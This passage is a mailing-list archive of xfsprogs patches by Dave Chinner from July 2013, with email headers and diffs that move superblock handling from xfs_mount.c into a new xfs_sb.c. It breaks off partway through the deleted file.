-xfs_lsn_t -xlog_cil_force_lsn( - struct xlog *log, - xfs_lsn_t sequence); - -static inline void -xlog_cil_force(struct xlog *log) -{ - xlog_cil_force_lsn(log, log->l_cilp->xc_current_sequence); -} - -/* - * Unmount record type is used as a pseudo transaction type for the ticket. - * It's value must be outside the range of XFS_TRANS_* values. - */ -#define XLOG_UNMOUNT_REC_TYPE (-1U) - -/* - * Wrapper function for waiting on a wait queue serialised against wakeups - * by a spinlock. This matches the semantics of all the wait queues used in the - * log code. - */ -static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) -{ - DECLARE_WAITQUEUE(wait, current); - - add_wait_queue_exclusive(wq, &wait); - __set_current_state(TASK_UNINTERRUPTIBLE); - spin_unlock(lock); - schedule(); - remove_wait_queue(wq, &wait); -} -#endif /* __KERNEL__ */ - -#endif /* __XFS_LOG_PRIV_H__ */ diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 93beb23..92a90f1 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -17,8 +17,6 @@ */ #include -#include -#include #include "init.h" #define BDSTRAT_SIZE (256 * 1024) diff --git a/libxlog/xfs_log_recover.c b/libxlog/xfs_log_recover.c index 7f5a41c..13ca327 100644 --- a/libxlog/xfs_log_recover.c +++ b/libxlog/xfs_log_recover.c @@ -26,6 +26,7 @@ (0); \ }) +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) /* * Verify the given count of basic blocks is valid number of blocks @@ -1032,6 +1033,8 @@ xlog_recover_add_item( list_add_tail(&item->ri_list, head); } +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) + STATIC int xlog_recover_add_to_cont_trans( struct xlog *log, -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C5E28026 for ; Fri, 19 Jul 2013 01:45:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0E7BB304039 for ; Thu, 18 Jul 2013 23:45:44 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id QdITaGGbOKEt2lGk for ; Thu, 18 Jul 2013 23:45:40 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUaAQwvDyQIGDE5AxsZGYd2tiOOWAcThSADlAaNeYcrgyQqgS0BHgY Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JB-6u for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002LX-5j for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 31/49] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Date: Fri, 19 Jul 2013 16:45:06 +1000 X-ASG-Orig-Subj: [PATCH 31/49] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-Id: <1374216324-8781-32-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216339 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that the kernel code has split the superblock specific code out of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c and remove xfs_mount.c Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 14 +- include/libxlog.h | 4 - include/xfs_mount.h | 372 --------------------------- include/xfs_sb.h | 26 ++ include/xfs_trace.h | 1 + libxfs/Makefile | 10 +- libxfs/init.c | 2 +- libxfs/xfs.h | 1 + libxfs/xfs_mount.c | 627 --------------------------------------------- libxfs/xfs_sb.c | 721 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 11 files changed, 768 insertions(+), 1011 deletions(-) delete mode 100644 include/xfs_mount.h delete mode 100644 libxfs/xfs_mount.c create mode 100644 libxfs/xfs_sb.c diff --git a/include/Makefile b/include/Makefile index 70720e5..53821ee 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_trace.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 37e9e15..b4d2657 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -47,7 +47,6 @@ #include #include #include -#include #include #include #include @@ -323,6 +322,11 @@ enum xfs_buf_flags_t { /* b_flags bits */ #define xfs_buf_set_ref(bp,ref) ((void) 0) #define xfs_buf_ioerror(bp,err) (bp)->b_error = (err); +#define xfs_daddr_to_agno(mp,d) \ + ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) +#define xfs_daddr_to_agbno(mp,d) \ + ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) + /* Buffer Cache Interfaces */ extern struct cache *libxfs_bcache; @@ -476,7 +480,6 @@ extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); -extern void libxfs_mod_sb (xfs_trans_t *, __int64_t); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); extern int libxfs_trans_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, @@ -704,7 +707,7 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork -/* xfs_mount.h */ +/* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk #define libxfs_sb_to_disk xfs_sb_to_disk @@ -729,4 +732,9 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include +#define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) +#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) +#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) +#define xfs_hex_dump(d,n) ((void) 0) + #endif /* __LIBXFS_H__ */ diff --git a/include/libxlog.h b/include/libxlog.h index e65b607..a61e437 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -66,10 +66,6 @@ struct xlog { #define XFS_MOUNT_WAS_CLEAN 0x1 #define unlikely(x) (x) -#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) -#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) -#define xfs_hex_dump(d,n) ((void) 0) - extern void xlog_warn(char *fmt,...); extern void xlog_exit(char *fmt,...); extern void xlog_panic(char *fmt,...); diff --git a/include/xfs_mount.h b/include/xfs_mount.h deleted file mode 100644 index 5410e9f..0000000 --- a/include/xfs_mount.h +++ /dev/null @@ -1,372 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_MOUNT_H__ -#define __XFS_MOUNT_H__ - -#ifndef __KERNEL__ - -#define xfs_daddr_to_agno(mp,d) \ - ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) -#define xfs_daddr_to_agbno(mp,d) \ - ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) - -#else /* __KERNEL__ */ - -struct xlog; -struct xfs_inode; -struct xfs_mru_cache; -struct xfs_nameops; -struct xfs_ail; -struct xfs_quotainfo; - -#ifdef HAVE_PERCPU_SB - -/* - * Valid per-cpu incore superblock counters. Note that if you add new counters, - * you may need to define new counter disabled bit field descriptors as there - * are more possible fields in the superblock that can fit in a bitfield on a - * 32 bit platform. The XFS_SBS_* values for the current current counters just - * fit. - */ -typedef struct xfs_icsb_cnts { - uint64_t icsb_fdblocks; - uint64_t icsb_ifree; - uint64_t icsb_icount; - unsigned long icsb_flags; -} xfs_icsb_cnts_t; - -#define XFS_ICSB_FLAG_LOCK (1 << 0) /* counter lock bit */ - -#define XFS_ICSB_LAZY_COUNT (1 << 1) /* accuracy not needed */ - -extern int xfs_icsb_init_counters(struct xfs_mount *); -extern void xfs_icsb_reinit_counters(struct xfs_mount *); -extern void xfs_icsb_destroy_counters(struct xfs_mount *); -extern void xfs_icsb_sync_counters(struct xfs_mount *, int); -extern void xfs_icsb_sync_counters_locked(struct xfs_mount *, int); -extern int xfs_icsb_modify_counters(struct xfs_mount *, xfs_sb_field_t, - int64_t, int); - -#else -#define xfs_icsb_init_counters(mp) (0) -#define xfs_icsb_destroy_counters(mp) do { } while (0) -#define xfs_icsb_reinit_counters(mp) do { } while (0) -#define xfs_icsb_sync_counters(mp, flags) do { } while (0) -#define xfs_icsb_sync_counters_locked(mp, flags) do { } while (0) -#define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ - xfs_mod_incore_sb(mp, field, delta, rsvd) -#endif - -/* dynamic preallocation free space thresholds, 5% down to 1% */ -enum { - XFS_LOWSP_1_PCNT = 0, - XFS_LOWSP_2_PCNT, - XFS_LOWSP_3_PCNT, - XFS_LOWSP_4_PCNT, - XFS_LOWSP_5_PCNT, - XFS_LOWSP_MAX, -}; - -typedef struct xfs_mount { - struct super_block *m_super; - xfs_tid_t m_tid; /* next unused tid for fs */ - struct xfs_ail *m_ail; /* fs active log item list */ - xfs_sb_t m_sb; /* copy of fs superblock */ - spinlock_t m_sb_lock; /* sb counter lock */ - struct xfs_buf *m_sb_bp; /* buffer for superblock */ - char *m_fsname; /* filesystem name */ - int m_fsname_len; /* strlen of fs name */ - char *m_rtname; /* realtime device name */ - char *m_logname; /* external log device name */ - int m_bsize; /* fs logical block size */ - xfs_agnumber_t m_agfrotor; /* last ag where space found */ - xfs_agnumber_t m_agirotor; /* last ag dir inode alloced */ - spinlock_t m_agirotor_lock;/* .. and lock protecting it */ - xfs_agnumber_t m_maxagi; /* highest inode alloc group */ - uint m_readio_log; /* min read size log bytes */ - uint m_readio_blocks; /* min read size blocks */ - uint m_writeio_log; /* min write size log bytes */ - uint m_writeio_blocks; /* min write size blocks */ - struct xlog *m_log; /* log specific stuff */ - int m_logbufs; /* number of log buffers */ - int m_logbsize; /* size of each log buffer */ - uint m_rsumlevels; /* rt summary levels */ - uint m_rsumsize; /* size of rt summary, bytes */ - struct xfs_inode *m_rbmip; /* pointer to bitmap inode */ - struct xfs_inode *m_rsumip; /* pointer to summary inode */ - struct xfs_inode *m_rootip; /* pointer to root directory */ - struct xfs_quotainfo *m_quotainfo; /* disk quota information */ - xfs_buftarg_t *m_ddev_targp; /* saves taking the address */ - xfs_buftarg_t *m_logdev_targp;/* ptr to log device */ - xfs_buftarg_t *m_rtdev_targp; /* ptr to rt device */ - __uint8_t m_blkbit_log; /* blocklog + NBBY */ - __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ - __uint8_t m_agno_log; /* log #ag's */ - __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ - uint m_blockmask; /* sb_blocksize-1 */ - uint m_blockwsize; /* sb_blocksize in words */ - uint m_blockwmask; /* blockwsize-1 */ - uint m_alloc_mxr[2]; /* max alloc btree records */ - uint m_alloc_mnr[2]; /* min alloc btree records */ - uint m_bmap_dmxr[2]; /* max bmap btree records */ - uint m_bmap_dmnr[2]; /* min bmap btree records */ - uint m_inobt_mxr[2]; /* max inobt btree records */ - uint m_inobt_mnr[2]; /* min inobt btree records */ - uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ - uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ - uint m_in_maxlevels; /* max inobt btree levels. */ - struct radix_tree_root m_perag_tree; /* per-ag accounting info */ - spinlock_t m_perag_lock; /* lock for m_perag_tree */ - struct mutex m_growlock; /* growfs mutex */ - int m_fixedfsid[2]; /* unchanged for life of FS */ - uint m_dmevmask; /* DMI events for this FS */ - __uint64_t m_flags; /* global mount flags */ - uint m_dir_node_ents; /* #entries in a dir danode */ - uint m_attr_node_ents; /* #entries in attr danode */ - int m_ialloc_inos; /* inodes in inode allocation */ - int m_ialloc_blks; /* blocks in inode allocation */ - int m_inoalign_mask;/* mask sb_inoalignmt if used */ - uint m_qflags; /* quota status flags */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ - __uint64_t m_maxicount; /* maximum inode count */ - __uint64_t m_resblks; /* total reserved blocks */ - __uint64_t m_resblks_avail;/* available reserved blocks */ - __uint64_t m_resblks_save; /* reserved blks @ remount,ro */ - int m_dalign; /* stripe unit */ - int m_swidth; /* stripe width */ - int m_sinoalign; /* stripe unit inode alignment */ - int m_attr_magicpct;/* 37% of the blocksize */ - int m_dir_magicpct; /* 37% of the dir blocksize */ - __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ - const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ - int m_dirblksize; /* directory block sz--bytes */ - int m_dirblkfsbs; /* directory block sz--fsbs */ - xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ - xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ - xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ - uint m_chsize; /* size of next field */ - struct xfs_chash *m_chash; /* fs private inode per-cluster - * hash table */ - atomic_t m_active_trans; /* number trans frozen */ -#ifdef HAVE_PERCPU_SB - xfs_icsb_cnts_t __percpu *m_sb_cnts; /* per-cpu superblock counters */ - unsigned long m_icsb_counters; /* disabled per-cpu counters */ - struct notifier_block m_icsb_notifier; /* hotplug cpu notifier */ - struct mutex m_icsb_mutex; /* balancer sync lock */ -#endif - struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ - struct delayed_work m_reclaim_work; /* background inode reclaim */ - struct delayed_work m_eofblocks_work; /* background eof blocks - trimming */ - __int64_t m_update_flags; /* sb flags we need to update - on the next remount,rw */ - int64_t m_low_space[XFS_LOWSP_MAX]; - /* low free space thresholds */ - - struct workqueue_struct *m_data_workqueue; - struct workqueue_struct *m_unwritten_workqueue; - struct workqueue_struct *m_cil_workqueue; - struct workqueue_struct *m_reclaim_workqueue; - struct workqueue_struct *m_log_workqueue; - struct workqueue_struct *m_eofblocks_workqueue; -} xfs_mount_t; - -/* - * Flags for m_flags. - */ -#define XFS_MOUNT_WSYNC (1ULL << 0) /* for nfs - all metadata ops - must be synchronous except - for space allocations */ -#define XFS_MOUNT_WAS_CLEAN (1ULL << 3) -#define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem - operations, typically for - disk errors in metadata */ -#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ -#define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to - user */ -#define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment - allocations */ -#define XFS_MOUNT_ATTR2 (1ULL << 8) /* allow use of attr2 format */ -#define XFS_MOUNT_GRPID (1ULL << 9) /* group-ID assigned from directory */ -#define XFS_MOUNT_NORECOVERY (1ULL << 10) /* no recovery - dirty fs */ -#define XFS_MOUNT_DFLT_IOSIZE (1ULL << 12) /* set default i/o size */ -#define XFS_MOUNT_32BITINODES (1ULL << 14) /* do not create inodes above - * 32 bits in size */ -#define XFS_MOUNT_SMALL_INUMS (1ULL << 15) /* users wants 32bit inodes */ -#define XFS_MOUNT_NOUUID (1ULL << 16) /* ignore uuid during mount */ -#define XFS_MOUNT_BARRIER (1ULL << 17) -#define XFS_MOUNT_IKEEP (1ULL << 18) /* keep empty inode clusters*/ -#define XFS_MOUNT_SWALLOC (1ULL << 19) /* turn on stripe width - * allocation */ -#define XFS_MOUNT_RDONLY (1ULL << 20) /* read-only fs */ -#define XFS_MOUNT_DIRSYNC (1ULL << 21) /* synchronous directory ops */ -#define XFS_MOUNT_COMPAT_IOSIZE (1ULL << 22) /* don't report large preferred - * I/O size in stat() */ -#define XFS_MOUNT_FILESTREAMS (1ULL << 24) /* enable the filestreams - allocator */ -#define XFS_MOUNT_NOATTR2 (1ULL << 25) /* disable use of attr2 format */ - - -/* - * Default minimum read and write sizes. - */ -#define XFS_READIO_LOG_LARGE 16 -#define XFS_WRITEIO_LOG_LARGE 16 - -/* - * Max and min values for mount-option defined I/O - * preallocation sizes. - */ -#define XFS_MAX_IO_LOG 30 /* 1G */ -#define XFS_MIN_IO_LOG PAGE_SHIFT - -/* - * Synchronous read and write sizes. This should be - * better for NFSv2 wsync filesystems. - */ -#define XFS_WSYNC_READIO_LOG 15 /* 32k */ -#define XFS_WSYNC_WRITEIO_LOG 14 /* 16k */ - -/* - * Allow large block sizes to be reported to userspace programs if the - * "largeio" mount option is used. - * - * If compatibility mode is specified, simply return the basic unit of caching - * so that we don't get inefficient read/modify/write I/O from user apps. - * Otherwise.... - * - * If the underlying volume is a stripe, then return the stripe width in bytes - * as the recommended I/O size. It is not a stripe and we've set a default - * buffered I/O size, return that, otherwise return the compat default. - */ -static inline unsigned long -xfs_preferred_iosize(xfs_mount_t *mp) -{ - if (mp->m_flags & XFS_MOUNT_COMPAT_IOSIZE) - return PAGE_CACHE_SIZE; - return (mp->m_swidth ? - (mp->m_swidth << mp->m_sb.sb_blocklog) : - ((mp->m_flags & XFS_MOUNT_DFLT_IOSIZE) ? - (1 << (int)MAX(mp->m_readio_log, mp->m_writeio_log)) : - PAGE_CACHE_SIZE)); -} - -#define XFS_LAST_UNMOUNT_WAS_CLEAN(mp) \ - ((mp)->m_flags & XFS_MOUNT_WAS_CLEAN) -#define XFS_FORCED_SHUTDOWN(mp) ((mp)->m_flags & XFS_MOUNT_FS_SHUTDOWN) -void xfs_do_force_shutdown(struct xfs_mount *mp, int flags, char *fname, - int lnnum); -#define xfs_force_shutdown(m,f) \ - xfs_do_force_shutdown(m, f, __FILE__, __LINE__) - -#define SHUTDOWN_META_IO_ERROR 0x0001 /* write attempt to metadata failed */ -#define SHUTDOWN_LOG_IO_ERROR 0x0002 /* write attempt to the log failed */ -#define SHUTDOWN_FORCE_UMOUNT 0x0004 /* shutdown from a forced unmount */ -#define SHUTDOWN_CORRUPT_INCORE 0x0008 /* corrupt in-memory data structures */ -#define SHUTDOWN_REMOTE_REQ 0x0010 /* shutdown came from remote cell */ -#define SHUTDOWN_DEVICE_REQ 0x0020 /* failed all paths to the device */ - -/* - * Flags for xfs_mountfs - */ -#define XFS_MFSI_QUIET 0x40 /* Be silent if mount errors found */ - -static inline xfs_agnumber_t -xfs_daddr_to_agno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - do_div(ld, mp->m_sb.sb_agblocks); - return (xfs_agnumber_t) ld; -} - -static inline xfs_agblock_t -xfs_daddr_to_agbno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - return (xfs_agblock_t) do_div(ld, mp->m_sb.sb_agblocks); -} - -/* - * Per-cpu superblock locking functions - */ -#ifdef HAVE_PERCPU_SB -static inline void -xfs_icsb_lock(xfs_mount_t *mp) -{ - mutex_lock(&mp->m_icsb_mutex); -} - -static inline void -xfs_icsb_unlock(xfs_mount_t *mp) -{ - mutex_unlock(&mp->m_icsb_mutex); -} -#else -#define xfs_icsb_lock(mp) -#define xfs_icsb_unlock(mp) -#endif - -/* - * This structure is for use by the xfs_mod_incore_sb_batch() routine. - * xfs_growfs can specify a few fields which are more than int limit - */ -typedef struct xfs_mod_sb { - xfs_sb_field_t msb_field; /* Field to modify, see below */ - int64_t msb_delta; /* Change to make to specified field */ -} xfs_mod_sb_t; - -extern int xfs_log_sbcount(xfs_mount_t *); -extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); -extern int xfs_mountfs(xfs_mount_t *mp); - -extern void xfs_unmountfs(xfs_mount_t *); -extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); -extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, - uint, int); -extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); -extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); -extern int xfs_readsb(xfs_mount_t *, int); -extern void xfs_freesb(xfs_mount_t *); -extern int xfs_fs_writable(xfs_mount_t *); -extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); - -extern int xfs_dev_is_read_only(struct xfs_mount *, char *); - -extern void xfs_set_low_space_thresholds(struct xfs_mount *); - -#endif /* __KERNEL__ */ - -/* - * perag get/put wrappers for ref counting - */ -struct xfs_perag *xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno); -struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *mp, xfs_agnumber_t agno, - int tag); -void xfs_perag_put(struct xfs_perag *pag); - -extern void xfs_sb_calc_crc(struct xfs_buf *); -extern void xfs_mod_sb(struct xfs_trans *, __int64_t); -extern int xfs_initialize_perag(struct xfs_mount *, xfs_agnumber_t, - xfs_agnumber_t *); -extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); -extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); - -extern const struct xfs_buf_ops xfs_sb_buf_ops; - -#endif /* __XFS_MOUNT_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 51db6f2..dea0373 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -26,6 +26,7 @@ struct xfs_buf; struct xfs_mount; +struct xfs_trans; #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ @@ -625,6 +626,12 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + /* * end of superblock version macros */ @@ -661,4 +668,23 @@ xfs_sb_has_incompat_log_feature( #define XFS_B_TO_FSBT(mp,b) (((__uint64_t)(b)) >> (mp)->m_sb.sb_blocklog) #define XFS_B_FSB_OFFSET(mp,b) ((b) & (mp)->m_blockmask) +/* + * perag get/put wrappers for ref counting + */ +extern struct xfs_perag *xfs_perag_get(struct xfs_mount *, xfs_agnumber_t); +extern struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *, xfs_agnumber_t, + int tag); +extern void xfs_perag_put(struct xfs_perag *pag); +extern int xfs_initialize_perag_data(struct xfs_mount *, xfs_agnumber_t); + +extern void xfs_sb_calc_crc(struct xfs_buf *); +extern void xfs_mod_sb(struct xfs_trans *, __int64_t); +extern void xfs_sb_mount_common(struct xfs_mount *, struct xfs_sb *); +extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); +extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); +extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); + +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + #endif /* __XFS_SB_H__ */ diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 5f32097..1d2728e 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -162,6 +162,7 @@ /* set c = c to avoid unused var warnings */ #define trace_xfs_perag_get(a,b,c,d) ((c) = (c)) +#define trace_xfs_perag_get_tag(a,b,c,d) ((c) = (c)) #define trace_xfs_perag_put(a,b,c,d) ((c) = (c)) #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 6ba38f9..5608020 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -11,9 +11,13 @@ LT_REVISION = 0 LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h -CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ +CFILES = cache.c \ + crc32.c \ + init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc.c \ xfs_alloc_btree.c \ + xfs_attr.c \ + xfs_attr_remote.c \ xfs_btree.c \ xfs_ialloc.c \ xfs_inode_buf.c \ @@ -21,8 +25,8 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ - crc32.c \ + xfs_rtalloc.c \ + xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/init.c b/libxfs/init.c index 5c418bc..db7eeea 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -692,7 +692,7 @@ libxfs_mount( INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); - xfs_mount_common(mp, sb); + xfs_sb_mount_common(mp, sb); xfs_alloc_compute_maxlevels(mp); xfs_bmap_compute_maxlevels(mp, XFS_DATA_FORK); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 1a01c61..0113b50 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -345,6 +345,7 @@ do { \ #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) #define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) +#define xfs_sb_validate_fsb_count(sbp, nblks) (0) /* * Prototypes for kernel static functions that are aren't in their diff --git a/libxfs/xfs_mount.c b/libxfs/xfs_mount.c deleted file mode 100644 index db3785d..0000000 --- a/libxfs/xfs_mount.c +++ /dev/null @@ -1,627 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -static const struct { - short offset; - short type; /* 0 = integer - * 1 = binary / string (no translation) - */ -} xfs_sb_info[] = { - { offsetof(xfs_sb_t, sb_magicnum), 0 }, - { offsetof(xfs_sb_t, sb_blocksize), 0 }, - { offsetof(xfs_sb_t, sb_dblocks), 0 }, - { offsetof(xfs_sb_t, sb_rblocks), 0 }, - { offsetof(xfs_sb_t, sb_rextents), 0 }, - { offsetof(xfs_sb_t, sb_uuid), 1 }, - { offsetof(xfs_sb_t, sb_logstart), 0 }, - { offsetof(xfs_sb_t, sb_rootino), 0 }, - { offsetof(xfs_sb_t, sb_rbmino), 0 }, - { offsetof(xfs_sb_t, sb_rsumino), 0 }, - { offsetof(xfs_sb_t, sb_rextsize), 0 }, - { offsetof(xfs_sb_t, sb_agblocks), 0 }, - { offsetof(xfs_sb_t, sb_agcount), 0 }, - { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, - { offsetof(xfs_sb_t, sb_logblocks), 0 }, - { 